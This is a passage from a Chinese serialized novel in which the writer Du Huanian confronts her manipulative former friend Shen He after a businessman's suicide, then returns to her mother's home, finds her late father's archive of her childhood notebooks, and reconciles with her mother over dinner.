“我觉得我们是一样的,你可能更惨一点,毕竟我可以不把他当回事,但你不行。”沈荷揉了揉眼角,“出国不到一年,男朋友就跟我分手了。理由当然是因为异地,实在熬不住了。我还想是我不好,因为一时冲动帮了你,结果害得他也煎熬。可是没多久,我的舍友就给我打了国际长途,国际长途呀!就是为了跟我炫耀她抢到了我的男朋友。他——妈的,她打微信电话都还嫌不解恨的咧,一定要花掉这个国际长途的贵价话费!她才爽!嘿嘿嘿嘿嘿……”
杜华年不知道怎么了,脑子里竟然开始回忆华丽娟的日记,一篇接着一篇,一句接着一句,像按下了录音机,磁带就开始自动播放。
“他们也不会长久的。”杜华年淡淡道。
“三个月。就分了。但是与我何干呢?我和他谈了快六年,从上大学就谈……算了,眼瞎也不分时候是不是?”
“宋林呢?”
“他?呵呵,他这种富二代,对我这种女孩就是会好奇,他比我小很多呢,他甚至都比你小吧?可是他胆子够大,为什么呢?因为他有钱,钱让他觉得他什么都可以,什么都敢。我不喜欢他,也不想成为这些少爷们的话题,所以我躲得远远的。”
“但是他说,你后来和他成了朋友。”
“他保守了,我是差一步就答应他的追求了。”沈荷脸颊已经绯红,她感到热,脱掉了外套,露出里头酒红色的真丝衬衣,用手撑着头,“我可没爱上他,我到现在都挺烦他,优柔寡断,遇事就知道跑。但是呢,他确实是个不错的选择,有钱,帅,天真,有时候日子过得太难受了,逗一逗他也很不错。起码那些贵得离谱的中国餐厅我也能去得起了。”
“唐人街的中餐厅不至于让留学生吃不起吧?”
“吃得起的,难吃,好吃的,吃不起。”沈荷笑叹,“你不知道,人孤单的时候,就喜欢吃东西。”
“那你又是怎么成为他的后妈的?”
“哈哈!这就更可笑了。他的父亲也是个富二代,所以严格来说,他应该是富三代。那你要知道,少爷们的口味总是很一致,这一点,恐怕宋林自己都不了解自己的亲爹呢!”
沈荷干脆趴在了玻璃台上,她的钻石耳环躺在她的手臂上,在微弱的灯光下发出暧昧的光晕,领口微开,配套的钻石坠子也掉了出来。她应该是醉了,双目微闭,雪白的脸颊和酒红色的衣料衬在一起,杜华年很难形容眼前的画面,是妩媚的,却也是下落的,被一些水草纠缠在一起,困住了手脚,她觉得沈荷再也不可能浮上来了。
肃丽的,书卷的,冷冽的,那些上升的,充满力量的气质,已经从她身上剥离得非常彻底了,眼前人已非故人。
可她还没有明白,是什么改变了沈荷?
“你母亲呢?没有去看她吗?”
“她已经病死好多年了。”沈荷随意地讲着,“我出国第二年,她就不行了。那时我回来过,她没坚持多久,肝癌,走得很快,我同意重用吗啡,她没什么痛苦。”
杜华年和沈荷最亲密的那两年,几乎是无话不谈的,她知道沈荷的父亲在她十多岁时就走了,车祸,疲劳驾驶,翻下了山崖。
突然的,一段回忆闯入了她的脑袋。
“我以后一定要成为出版界的大牛!著名的女出版家、最厉害的编辑,让所有作者的梦想都改成:让沈荷做我的编辑,替我出书!”
“那你一定要给我留个位置。你最好啊,可以打败何文谦,拯救我脱离苦海,我谢谢你一辈子!不,我下辈子还谢谢你!”
“哈哈哈……你要脱离苦海,应该靠你自己!听姐的,不要怕!何文谦不也就是个人?你要成为何芳芳,让人们改口,不再说你是何文谦的女儿,而是都说,他是你何芳芳的爹!女孩子,一定要自己够强!!”
“我——不能
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和你比,你是真的强,论自律,全学校几万人,没几个人敢跟你比,你沈荷的大名现在就已经响当当了!欸?欸欸!你别倒呀……”
那是从前的从前,那天是为了……为了庆祝考完期末所有考试,她们在烧烤摊喝酒,两个人都醉了之后,开始大放厥词。
杜华年看着眼前的沈荷,睡在一团锦绣之中,忽然之间,她就明白了是什么改变了沈荷;也是忽然之间,她泪满双目,拿起剩下半瓶红酒,一口喝干。
华丽娟的日记已经告诉了她全部,一个女人的改变,其实并不需要太多太大太深刻的伤害,只是需要在无穷无尽地消磨里,突然出现的价值贬低。而这个价值贬低,也不一定就来源于他人,也很可能是来自于自己。
她们再也不是从前的她们,谁,都回不去了。也许时空就是最大的能量吧。
多年的社会毒打令杜华年养成了一个习惯:情绪一旦汹涌,就把它留到独自一人的时候。
“沈荷,你没想过,从你接受我爸的钱开始,你就不可能再实现你的理想了么?”
沈荷深吸着气从桌子上撑起来,“可是我现在也实现了。我不是傻子,我如果靠自己,实现理想的概率会大大降低,我不能和你相比,你父亲的一切最终都会交给你,我只是用一点他的钱,并且我会履行我的承诺,这只是一次公平的交易。”
“不,不是因为这个。而是你去跟一个不懂公平的人交易,你注定会失去你的公平。”
“芳生,你知道吗,这么多年,我明白了一个道理,这个世界上本来就没有公平,你和我认识,就是世界上最大的不公平。我理解何文谦的费解,他的笑容我会记一辈子,因为真的太可笑了,就像他的邮件上写的一样,我的命运已经被他捏在手里,我竟然还去替她的女儿呼喊不公平?真是太可笑了……芳生,我只是想知道,如果我也有钱,事情会不会就不同了……然后,事情还真是,就不同了!你看,就靠我自己,这辈子也不可能见到现在这一切。”她伸开双臂,似乎就是坐拥天下的女皇。
杜华年盯着玻璃桌面上沈荷豪迈的倒影,她不能说沈荷有错。
“何况,我没有依赖钱,你从我身上,哪一点看出来我是一个只靠钱存活的女人?我的丈夫是疾病暴毙,我和他在一起尽到了妻子的本分。他死了,他的儿子什么也不是,可是我替他保住了他的产业,保住了他父亲留下来的一切。事实上,无论是宋林还是我死去的丈夫,他们看上我,都少不了是因为我比他们更有能力,更值得信赖。”
此刻的沈荷让杜华年想起了武则天。确实如她所说,即便她不是嫁给爱情,她也并没有利用婚姻,无论她以什么身份,在什么地方,都只是施展她的才华和抱负而已。而在她的成就面前,谁还会去管她是谁的妻子还是后妈呢?更何况,她甚至不用作为一位母亲存在,不存在平衡不了家庭和事业的窘境。
“我明白了,你一直是你,你心里一直有你的目标,你从来都……没变过。”杜华年轻轻地说,一边说,一边感到一种释然。
“所以啊,芳生,来到我身边吧,实现我们的理想,你会是我最得意的作家,我会是最爱你的编辑。”沈荷微笑,眼中全是雄心壮志。
可是杜华年觉得,她很不适应,她对权力,没有沈荷那样的狂热。
不适应怎么办?切换成战斗模式。
旧已经叙完了,开始算算新账。
她吸着气,仰头站起来,“李东海为什么自杀?”
沈荷一听,立即皱眉,放下双臂,脸偏向一边,“怎么你也来问我这么愚蠢的问题?”
“他偷税漏税没问题,但是按照李雯告诉我的时间,你应该早就拿到证据了。这个世界还没有哪个商人会因为这点事情自杀。”
“市值蒸发太多,他顶不住,软弱,寻短见,奇怪吗?这个世界也从来不缺跳楼的富豪。”
“我说了,是时间不对。今天开盘他就跌停,昨天还好好的,可是李东海在十天前就已经补过第一批税了。沈荷,你其实知道今天会被我拒绝,所以李东海的死,你昨天就算计好了!”
“欸!严谨一点,我昨天算计好的,是李雯的崩溃,谁知道工具人李东海心理素质这么差呢?这是意外,不能怪我。”沈荷伸出一只手指,在两人面前摇了摇。
杜华年眨了眨眼,又看向别处,还是回过头来一把抓住她的手腕,往外一翻,往下一压,死死摁在玻璃台上,“啊——!”沈荷被迫离开了玻璃凳,侧身躺在玻璃台上,发出了母兽一样的吼叫。
“沈荷,你挺好,这么多年,我根本没认识过你,但是恐怕,你也从来不了解我。我不是一个善良的人,也不是一个讲道理的人,我喜欢暴力解决问题,这一点,我和何文谦一样,又比他更恶劣。我只是努力压抑真实的本性,因为我知道,本性没人喜欢。但是,比起我的真实面目,我更恨一样东西,那就是操纵,我恨何文谦操纵我,我恨操纵本身,恨所有被操纵的人和操纵别人的人!你不懂什么是公平,因为你看起来自强不息,其实你一直以为自己是弱势。可能我也不懂公平,但是我知道,公平里面,一定不能有操纵!”
沈荷已经疼得冷汗直流,连喊叫都发不出来了,只能仰望着杜华年凶狠至扭曲的脸,咬牙切齿地发出痛苦的断断续续的呻吟。
杜华年也俯视着她,眼神冰冷得像外头的大雨。沈荷疼得嘴唇泛白,另一只手拍在台上求饶。杜华年才松开手,沈荷捂着手腕喘着气。
“沈荷,你现在就是加强版的何文谦,你想操纵我?妄想!你不是喜欢杜华年吗?好,我知错就改,去年没有出卖你,今年我会补上,你拭目以待吧。”
杜华年一拍台子,转身走入了雨夜。
风雨中,血红色的大衣翻涌,沈荷看着看着,流着泪笑了。
62. 等我回来
李雯在中午十二点醒来,陈姨正往餐桌上端菜。杜华年坐在餐桌一边,敲打着键盘,“你得尽快打起精神,李东海的后事你打算管吗?”
李雯站在那儿,看了一会儿杜华年,她端坐着,手指凌厉,眼神冷漠,说话时没有情绪,问句都像一种命令。这才是让她熟悉的杜华年,她眼睛又一热。
走过去坐下,李雯说:“管,干嘛不管。养我一场,我送完他,以后和他们就再没关系了。”
她已经开始剥鸡蛋了,杜华年停下来看着她,良久。
“怎么了?看我做什么?”李雯把剥好的鸡蛋放在碗里,推过去给杜华年。
杜华年看着碗里的鸡蛋,“我昨晚去找了沈荷。这件事……就是她设计的,消息是她放出去的,为了威胁我。宋林……唉……”她闭目撑额,“宋林的爹是她丈夫,但是已经病死了,宋林其实是个富三代,我昨晚见到他了,他承认了,他其实拿到了证据,但是没给你,给了沈荷,又或者拿到证据的本来就是沈荷。”她缓缓地说,试探地,谨慎地看着李雯的脸。
“她看来不了解你啊!”李雯又剥了一个鸡蛋,自顾自吃起来,“她不知道不能威胁你吗?会产生可怕的后果。”
杜华年看她吃得挺香,恍然觉得她昨晚哭得那样心酸的模样只是一个噩梦而已。“你不打算找宋林问问清楚吗?”
“没必要,你说的够清楚了,我被男人骗还是有经验的,这回,也不怎么难过了。”
杜华年觉得是李东海的死掩盖了被背叛的痛苦,也不想逼她太紧,“如果他们不让你参加李东海的后事呢?”
“他们有这个能耐吗?他们现在没钱,没地方住,甚至连怎么要回李东海的尸体都不知道吧。可我至少还有一千万。”李雯喝了一口粥,吃了一口榨菜。
杜华年愣了愣,随即一笑,推开键盘和平板,也吃起来,“你是被我连累了。”
“呵?”李雯挑了挑眉,“你呢?怎么反击?”
“我需要找个地方,一个人待一阵子。下个月,《你我》才会重版,这一个月,你得想尽办法熬过去,等我回来。”
“你打算就拿这个事来打击她,有用吗?”
“不止,但我需要时间,这个月你就不要联系我了。”
李雯停下进食,凝视她良久,确定她终于又是那个该死的杜华年了,于是她眼底一酸,苦笑出来,“好。曾倩呢?用管吗?”
杜华年有些惊讶地看着她,“不用。”
“好。”
杜华年拿起鸡蛋,又犹豫了,“宋林……我觉得,你还是要见他一面好一点。”
“我知道。”李雯微笑着,“你赶紧吃啊,凉了。”
杜华年看看自己拿着蛋的手,也笑了,“阿雯,我怕你想不通。”
李雯看了她一会儿,叹口气说:“醒过来之后,我其实觉得很不真实。你又不是不知道,我和李东海有什么感情?我只是习惯了有个人见了要喊爸。可是我仔细想,我和他说的话全都是:‘爸,生活费用完了。’‘爸,家长会要你去一下。’‘爸,我想出国玩,和同学。’‘爸,给点钱呗,我看中一个小生意。’‘爸,我不想去那个晚宴了。’‘爸,大妈又冤枉我妈。’……可是我爸和我说过什么呢?‘知道了。’‘行。’‘可以。’‘不行。’‘你别管那么多。’……你看,我和他之间,只是习惯了而已。何况现在,我们还有很多事呢,马上我就会适应新的习惯了。”她牵起嘴角。
杜华年吃了一口鸡蛋,还没咽下去,就被她这番话震惊了,她看着李雯的嘴角想:都是死老爹,我用了几个月才平息,可她只用了一晚。杜华年突然觉得自己挺没用的。
吃完饭,杜华年再次把猫猫托付给了李雯,收拾行李离开。
昨夜曾倩被打懵了,全靠刘白领着她离开了小区。沉默地在马路上走了一阵,曾倩渐渐清醒,停了下来,“我是不是不该就这样走了,我该回去和雯姐好好道歉。”
刘白默默站在一旁,双手紧紧握拳,低着头。曾倩已经迈开腿想要往回走了,他终于忍无可忍,伸手用力一拉。曾倩被突如其来的力道拽回头,迎面就要往他怀里撞上去,刘白双手顺势扶住她双肩,迫使她面对自己。
“你还要闹到什么时候!”刘白吼她,但又没全吼,声音经过了他的控制,听起来只是像一个深情男人无奈地自嘲。
但曾倩还是难以置信地看着他,懵懂的眼神里还闪着泪光。刘白就吃这一套,他自己对此的认知也分外清晰,闭眼暗骂一句,认命地缓下语气,“我劝过你,不要在这种时候去找李雯,我也劝过你,不要在冲动的时候和沈荷签协议,可是你都不听。我明白你为什么不听,可是现在事情已经超出了所有人的预料,你该清醒点了!”
曾倩楞楞地看着他,她想着自己这一路走来做的每个决定,她告诉自己:我必须这样,就像树上的秋蝉,再不发出声响,就要消亡了;可是同时,她也很清楚,她是偏执的,她做每个决定的时候,并不会去想别人会怎么样。
“所以我早就让你离我远点了,是你不听我的劝。”曾倩抬起眼睛,毫无畏惧地凝视他,“也许刚才没有你,我会挨打得很惨,但是即便有你,你替我挨了打,又怎么样呢?刘白,我告诉过你,我想要的和你想要的不是一个世界的东西。从我偷偷卖掉我妈的房子,哦不,应该是从我决定再次去找杜华年开始,我就知道,我会变成一个让你讨厌的人,甚至是原来的我,也会讨厌的人。可是,你不懂,我必须这样做。”
刘白觉得她现在的伪装才是真的可笑,“那你去找人家道什么歉?你渴望人家原谅你什么?原谅你的不得不?我打电话给你的时候,你大可不必告诉我你打算道歉,但你说了。”
曾倩被他揭穿,气得发抖,但又无法反驳。两个人就这样面对面站在路边,骤然间便风雨大作。
后来呢?曾倩醒过来时已是下午,她从床上爬起来,困在柔软的被子里,翻
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来覆去回忆着后来。但其实,后来也只是刘白脱下外套遮在两人头顶,跑到了附近的便利店,店里只剩最后一把伞,刘白买了,留给了曾倩,自己走入了雨夜。
他最后说了什么?
“曾倩,傻子都知道我对你的心意。但也许杜华年才是对的,我一直以为我在护着你,但也许,那只是我以为。她是真的很了解人的恶劣,早就劝我不要勉强你。希望现在还不晚,小倩,我可以变成你想要的样子,但现在的你,是你自己想要的吗?”
他说完就走了,曾倩突然觉得他的背影直击心脏,砰砰直跳。
手机在这时响了,杜华年发来了一条微信:去找许慕华吧,她知道怎么水剧本。
曾倩立即回拨过去,已经打不通了。
她觉得自己陷入了一张巨大的蛛网,只能徒劳地挣扎。
夏莲习惯了一种新生活,早起早睡,每日运动,和保姆学习新菜色,重新找回了烹饪的乐趣,甚至重新爱上了逛菜市。今天的白萝卜很漂亮,她买了一个,排骨也很好,买了二斤,准备回家炖个汤。刚打开家门,杜华年的行李箱挡住了去路,她又惊又喜,喊,“何芳芳!你回来干嘛不提前说一声,我都没买你的菜!”
没有回音。她以为是她的音量不够大,于是一边脱鞋,一边深吸口气准备再喊。“咣当”一声,书房方向传来巨响,她一口气憋了回去,顺便吓了一跳,吓得都打起了嗝。
她快步走过去,“你干什么呢?天呐!!!”
夏莲一声娇喝,差点晕过去。书柜里的书都离开了书架,在地上形成了一座小山,山坡下还有乱七八糟铺满一地的稿纸,就像个冲击平原。杜华年被她的声音惊扰,从小书山后头伸出了一个头。
“妈,我小时候那些笔记本呢?”
“嗝~”夏莲捂着胸口,“都是你爸收拾,我不懂嗝~”
杜华年也觉得自己问了蠢问题,又把脑袋缩了回去。夏莲还想说什么,一提气又打了个嗝,干脆放弃,转身就走。杜华年又伸出了脑袋,“妈,我想吃你做的梅子排骨。”
夏莲觉得她得寸进尺,回过头想骂她两句,但她又把头缩了回去,夏莲只能又打了个嗝。
实际上,杜华年已经找了两个小时,早已几度崩溃。她靠着书桌腿,仔细回忆何文谦的每一个生活习惯,试图代入他的思维和视角,顺利找到他存放笔记本的地方。但她其实已经翻遍了书架和抽屉的每一个角落,就连何文谦那些堆在柜子深处早令他忘却的废稿们,她都翻了出来,怎么就没有她的那些本子呢?最为关键的是,她自己屋里所有抽屉也没有,除了何文谦藏起来了,就是何文谦扔掉了。
她正绝望,瘫在小山中央呆滞望着天花板,就听见了夏莲开门的声音,喊她的声音,走过来的声音,以及尖叫。她认命地伸出头去,却意外地发现夏莲手里提着菜。她很久没有吃过夏莲做的菜了,没想到有生之年还能再吃上一回,于是还是忍不住又伸了一次头。
63. 到底什么才是生活的真相?
很快排骨的香气飘了过来,杜华年从半昏睡中清醒,突然灵光一闪,冲进主卧打开了何文谦的专用衣柜。
果然!衣柜一个深角放着一个大塑料箱子,她把它拖出来,打开一看,嘿嘿,功夫不负有心人。她把箱子拖到了书房,要乱就乱一间房。
箱子里的本子排列非常整齐,按照档案馆里的规制一本一本贴好侧标,一排一排捆好横标。杜华年按照年份,很轻易就能找到自己任何一个时代的记录。她翻出了一本日期最旧的,拆开布套,看见了一本页卷枯黄,老到见风就化的笔记本。
她一下子就想起了老刘头那个古董手札。他们还真是相爱相杀的……知己。她想。
本子里的许多文字现在看来竟然还能令她感动赞叹。我竟然还能写出这样清新的句子?她想。一页一页,她重新发现了一个丢失了很久的自我:
天边晚霞如河,一带嫣红,
隔开深蓝的夜空与地平线。
晚霞里有一颗闪亮的明星,
晚霞外又悬着一钩新月。
新月,垂垂在嫣红的河边,
那是月里嫦娥,恋上人间烟火,而流下来的泪么?
还有一滴,留在了嫣红的颊边。
她看了一眼日期,这竟然是她十一岁未满时写的小诗,在九月半的某个晚上。她好奇地去查了万年历,发现那天是周日。她不用太回想,从前一家人有每个周日都出门踏青的习惯,只要天气好,在野外奔跑之后,他们会回到祖父母家或者外祖父母家,吃一餐团圆的晚饭,然后趁着月色,三人各骑自行车,一同回家。
她想起了那个黄昏,他们回家的时候,天明明已经黑了,星星满天,可是天边就是硬生生地又出现了一条殷红如血的霞带,与夜幕的深蓝泾渭分明,妖艳异常。霞带里的那颗星不知道叫什么名字,极其光亮,即便在明亮的霞光里,也清晰地显现出五芒,而上头那弯新月,就显得寒彻透骨了。
在小诗的下方,隔了好几行,何文谦批:她不像我。想象如此瑰丽奇异,这条路难走了!
好多年,好多年,她已经忘了,更想不到,留住这些的,是何文谦。她忽而望向窗外,泪湿衣襟,默然无声。
哭了一会,她又往下翻,嚯!好家伙,你猜她发现了什么?
——一沓银行流水单。她翻开来,仔仔细细看,竟然是何文谦长达两年,给同一个海外账户定期汇款的全部记录,户头名称:Heasoul Shen.这是沈荷,她从大学起,就在用这个英文名,这和沈荷说的内容就对上了。她接着翻,却没翻出当年沈荷签的那份协议。
好一个何文谦!他就是算到了,她定然要回来翻出这个箱子来的。杜华年心头浪潮翻涌,海水从双眼拼命涌出来。她低头看着流水单,想:希望我不会有用到它的一天。
夏莲喊她吃饭。
她深呼吸两口,回头应了一声,伸手胡乱抹掉眼泪,把箱子扣好拖到一边,走向饭厅。
饭厅里有一张漂亮的大理石餐桌,上头的花纹极像一幅泼墨山水,当年何文谦挑了很久,加了几次价钱,才选到这张桌子。但杜华年并不喜欢,因为隔着这么大的一张桌子吃饭,即便是三个人,也像是独自一人。不过此刻的餐桌上却铺着一块鲜黄色的桌布,布料厚实,上头开满了白色和浅紫的小野菊,四角垂下来,将大理石与它的水墨花纹全全遮住。她的心情乍然间就明媚了起来,与夏莲对面而坐,面前摆着三菜一汤,令人食欲大涨。
她喝了一口排骨汤,喟叹,“啊!真香!”
夏莲笑了,“那多喝点,你下次回来提前说。”
“你怎么铺上桌布了?”
“这天已经开始冷了,大理石不凉吗?”
“那你也用了这么多年。”
夏莲停了下来,看着女儿,良久才说:“我一直想铺一块桌布的。”
杜华年吃着萝卜,低头莞尔,“你记得有段时间,我爸老给一个陌生账户打钱吗?”
夏莲刚重新吃上,又停下了,“你几个意思?”
杜华年看她脸色剧变,立即澄清,“那个女大学生,我找到她了。”
夏莲愣了一会儿,“啪”一下放下筷子,“他还真包养了一个?你找她做什么,有崽子?”
杜华年被吓得一震,抚着胸口,“哎哟妈!你这性格,一点不像这个年龄的,比我还炸呢?”
“快说!不然别吃我的饭!”
杜华年看着夏莲笑出了声,“她跟我爸没关系,跟我有关系。”
夏莲又愣住了,她看着女儿的笑,感觉到一种熟悉的陌生。这种陌生横在她们之间很多年了,母女只是一个名分,但现在,这份陌生好像开始成长,它似乎打算改变一下自己的形状。
“你记得我高考完写了一本小说吧?我爸不是不让我发表吗?我和他为了这事还大吵一架。后来我还是发了那本小说,但用的是别人的名字,这个人叫做沈荷,她当年是我们学校的研究生,还在我们大学出版社兼职做编辑。那天我去投稿,这么巧就她一个人在值班,她看了我的小说,想替我出版,但领导不同意,她为了帮我,于是用了她的名字。然后,我们就成为了……朋友。”她在说出朋友两个字之前,实在不得不犹豫了一小会儿。
杜华年还是有些黯然的,她夹了一块排骨放进嘴里,甜丝丝的,让她舒缓了一些。她是等着夏莲接话问她的,毕竟台词不是独白,不能一次性说太长,总要有来有往才对。可是夏莲没接话,这让她皱起了眉抬头去找寻原因,却发觉夏莲正呈现一种半迷糊状态,呆望着她,似乎还有些思索的成分。
“你怎么了?妈?”她在她面前挥挥手,“妈!”
夏莲拨开她的手,“你居然跟我解释?”
杜华年一懵,但她很快察觉了夏莲的言下之意。回想起来,确实,她与何文谦,从来都不爱和夏莲对话。何文谦是觉得,那些今天吃什么菜,明天穿什么衣服……简直是庸俗而浪费语言。
可是什么是高尚,什么是有价值的语言?她想起在剧组那段时光,每一天,身边的每一个人,都在说着今天吃什么,明天演什么,天气真坏,导演很凶……
而她自己不跟夏莲说话是从什么时候开始的?不记得了,但为什么不说,她却能想起来,“妈,你从前总是我爸的应声虫,你让我跟你说什么?跟你说等于跟我爸说,那我不如直接跟他说。”
夏莲又睁大了一些眼睛,“你看,你又跟我解释了。”她眼珠子一转,“你是不是遇到事了?你跟妈说,妈给你想办法。”说完她又觉得自己大概没什么办法,于是又补了一句,“没办法也不怕,妈有钱,妈给你钱。”
杜华年被彻底逗笑了,开怀大笑,笑得眼泪都出来了,“妈,你不担心养老问题啦?”
夏莲眨眨眼,“那不是,你爸,留下来的遗产……挺多的。我原来是担心我人老珠黄了,他不要我……诶,不说这些,你爸既然没包养大学生,那就其实还算爱我的。”
杜华年看着她,突然感觉到了她的一种娇憨。
“妈,你希望我是一个什么样的人?”
夏莲认真地看着她,认真地皱眉,“芳啊,你到底出什么事了?”
杜华年的眼神从好奇的明亮缓缓滑落到枯燥无神,她幽微一叹,低下眼,扯起一边嘴角自嘲一笑,摸出一支烟叼在嘴里,又摸出打火机。
看着她熟练地点烟,夏莲震惊到失语,眼见她已经享受地吐出一口烟,她才拍桌站起来,“你抽烟?你什么时候学会抽烟的?!”
“大学。你不是也抽吗?”杜华年轻描淡写地回她,眼都不抬。
夏莲吓了一跳,眨巴着眼看看左右,缓缓坐下来,“你怎么知道我……”
“我翻过你抽屉,藏在首饰盒下面那个布口袋里。”杜华年笑笑,抬眼看她,“欸,那些烟都压得皱巴巴的,抽起来不掉渣吗?”
夏莲看着她,一脸窘迫,觉得又气又好笑,还是劝她,“抽烟对女人伤害太大了,我现在也戒了,你也戒吧。”
杜华年透过袅袅的烟看着她,微微笑着,似乎也微微点了点头。
夏莲突然有些恍惚,眼前的女孩儿突然就有着十足的女人味了,穿着亚麻米色的毛茸茸的家居服,光脚踩在凳子边缘,微微侧着身子靠在椅背上,手架着膝盖,素着脸,皮肤很白,眉毛很淡,眼睛很大,淡棕色的眼珠子映着暖色的灯,莹莹亮亮,一张脸骨骼分明,嘴唇丰满,唇色又很淡,一头卷发黑亮丰盈,飘散下来,给她的脸带来点浓郁的颜色。夏莲一下子不知道她长得像谁,似乎不像自己,也不像何文谦,她的脸,她的姿态,都有一种矛盾感,有些地方清淡,有些地方浓艳,又温素,又野性难驯。在朦胧的灯光和烟雾里,她甚至看见了她眼角和眉间的纹路。
夏莲有些难过,她的女儿怎么就从一个小娃娃,长得这么大了?转眼之前,她还梗着脖子跟他们吵得翻天,转眼之后,她就抽着烟,沧桑又慵懒地同她这个老娘聊着她死去的爹、她死去的丈夫。
“怎么了?”杜华年问她,顺手夹了一口菜。
夏莲起身,用手抹了抹眼角的泪,去给她翻出来一个烟灰缸,还带回来一瓶黄酒,自己倒了一杯喝了,又倒了一杯。“芳芳,我没什么大志向,长得漂亮也不是我选的,我就也只有漂亮一个优点。我不懂要怎么培养你,怎么教育你,为你规划什么未来,这些,我都听你爸的。我嘛,就希望你开心平安,还能有什么呢?我再不像都好,我也是个妈,当妈的,不就图个孩子健康快乐。”
“来,给我一杯。”杜华年把腿放下来,朝她伸出手,手心向上,四个指头并着向上抬了抬。
“抽了烟就别喝了。”夏莲拒绝她,“幸好你上了大学就不爱回家,我要是知道你那时候就抽烟,又多一个要瞒你爸的事。”
杜华年掐了烟,“我爸的遗言里面说,他不知道我喜欢什么颜色啦,喜欢什么食物啦……之类的,是你故意不跟他说?”
“什么叫故意啊,他又
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不爱听!”夏莲又倒了一杯,高声喊了一句,突然又缩回去了,“他不喜欢听这些小事情……”
杜华年看着她狡辩,轻笑一声,“哼,他是只爱听他想听的吧?你就配合他,一直配合。结果就是他临走还怨你呢,说你都不跟他说我的喜好,导致他不能很好地了解我。你看,你出了力,但讨不到好。”
夏莲看着她,吸气叹气,没有反驳。
杜华年又问她,“你怎么看上我爸的?”
夏莲盯着她看了很久,喝完一杯酒,再倒,“说实在的,追我的人里,比他有钱的也不是没有。所以你说我是为了钱嘛,也不全是。不过有什么关系,大家都这么认为,我也无所谓。”
杜华年趁她不防,抢过酒瓶子灌了一口。夏莲拍桌,“嘿,你这个小孩……”
“嗯,太甜了。”杜华年瘪瘪嘴,“妈,我也不是十来岁了,一个只嫁给钱的女人什么样子,我看得出来。在我们这个圈子里混,这种人能少吗?”
夏莲叹气,“你爸追我追得不是最狠的,但他是最……奇怪的。他就跟我说,让我做自己,让我一直保持这个样子不变。我当时一听,好啊,那不是可轻松了?没想到……保持自己不变,也是一个这么难的事情。”
杜华年望着她傻笑了一阵子,“当然难啊,谁能不变啊……不过得说,你保持得挺好的,真的。”
夏莲也变得很放松,大约是酒精的作用,“哼,你是说我不称职呗。论当妈嘛,我肯定不称职,不过称职的妈也真的累。这还得谢谢你爸,他不让我管你的嘛,他抢走了我当妈的权利。但你不好讲我当老婆不称职的,这个得问你爸……现在也问不着了。”
杜华年微笑了,她看见了一个丰满的夏莲,此刻她不再是一个女儿,她对她没有了那么多的苛责。也不知道是不是何文谦的死,带来了这么多的柔软,明明过年的时候,她对夏莲的态度,还是鄙夷和轻视的。
“我似乎明白他喜欢你什么了。”杜华年说。
“什么?”夏莲没听明白。
“你幼稚,自私,盲目,还总是从早到晚地寻乐,某种角度去看,这就是青春。每个中年人,都对青春有一种无可救药的痴恋,就像那是毒药,不能不上瘾,不上瘾就证明不了自己的生命和存在,就像这个酒啊,明知是穿肠毒,更要喝,往无穷无尽去喝。”
“我哪里幼稚自私了?”夏莲反驳她。
她才不理她,“我以前觉得你只知道以色侍人,现在……好像也没有别的形容词,但我不觉得你悲哀了妈,什么样的一生都是一生啊!妈,你觉得后悔吗?”
“后悔啥?”夏莲也开始吃菜,翻个眼问她。
杜华年惊讶了,她睁大了眼看着她的母亲,她第一次看见真正没有悔恨的眼神,这是这个问题的标准答案:后悔啥?对,只有真的无悔的人,才会反问这个问题。
她笑出来,越笑越大声,后来仰天长笑。
夏莲嚼着菜说:“我记得我早就跟你说过,换个男人,还不一定愿意这么养着我呢,就算愿意,也肯定不能像他这么……不瞧不起我。”
“尊重,那叫尊重啊妈!”杜华年笑出了眼泪,“妈诶,你是谈过多少恋爱?这么厉害呢!”她不可遏制地想起来华丽娟、诗萍、李雯、曾倩、许慕华、自己,甚至芊芊……还有那么多那么多女人,似乎无论是谁,怎么选,都没有一个人无怨无悔。
“不多吧,从高中就谈,到遇见你爸……六七个总有,谈的时间有长有短,不过,没谈过很穷的,也不是专找有钱的谈……但是谈得多了嘛,就懂了,男人都是表面一套背后一套的。你爸却不同,说话不花,也不多,他就是奇怪嘛,但要是不奇怪,和之前那些一样,肯定都是不行的,不然我哪里用失败那么多回?”
杜华年已经微醺了,她看着夏莲,突然非常羡慕她,“欸?你还真知道我喜欢吃什么欸,你怎么知道的?”
夏莲翻个白眼,“我到底是你妈!”
杜华年还不信,“那你说,我喜欢吃的面条怎么煮?”
夏莲很不想理她,但看她那神气的样子,还是开口,“先煎鸡蛋,再用煎鸡蛋的油加辣椒炒番茄,加酱油,放水,下面条,下青菜,盛出来,把蛋卧上面。”
杜华年无以复加地震惊,不是为了夏莲,而是为了自己。她的面前忽然竖起了一道玻璃墙,从小到大,她和她的父母似乎是生活在三个平行时空里,各自罩着玻璃罩子,透明,鸡犬相闻,但同一件事,在三个人的罩子里,是三种样子。这不就是多面叙事么?她嘲笑自己,伸手向前,摸了摸那面玻璃墙,它好像又消失了。
到底什么才是生活的真相?
母女俩后来喝了很多酒,东倒西歪地睡在了沙发上。先醒来的是杜华年,她收拾了饭厅的狼藉,寻了一件斗篷,坐到阳台上,用笔开始写作。
随后夏莲也醒了,她泡了一杯牛奶,又热了一个暖水袋,送去阳台。
她摆在桌上就走,杜华年也没抬头。
64. 我感觉我最想要的,恰恰是我最不想要的
老刘头说的话一点没错,写不出东西只是因为她离自己太远了,有天赋的作家都有旺盛的表达欲,但不是每个有表达欲的人都有写作的天赋。杜华年的自我怀疑从未间断,因为她从未真正了解并有能力掌握自己的天赋。
她早起早睡地写,一日三餐都能吃上夏莲烧的菜。也常常遇到没有灵感的时候,她就同夏莲说:
“妈,你怎么不打麻将了?以前你不是最爱吗?”
“不打了不打了,别来烦我。”
“打嘛打嘛,我现在得空,你约两个人过来?”
“啧……”
夏莲本在读书看报,但她一遍一遍不厌其烦地游说,夏莲很容易就会投降。
杜华年的牌技十分臭,夏莲总是骂骂咧咧。但很奇怪的,每次只要打上两圈,杜华年就会重新获得灵感,这时候哪怕牌桌上正听着牌,她也能立即丢下麻将跑回书房,空留剩下三个人大惊失色。
夏莲只能扯着嗓子骂,“你个狗屁不通的屎尿货!老娘怎么生了你这么个玩意?人是你叫来的,现在也是你丢下人家,三缺一啊三缺一!你知不知道什么叫三缺一?你缺大德了你知道吗!何芳芳?何!芳!芳!你滚出来!”
“三个人可以斗地主啊!”半天,杜华年回了这么一句。
夏莲气得要冲进去打她,她的小姐妹们只能又拉又劝。
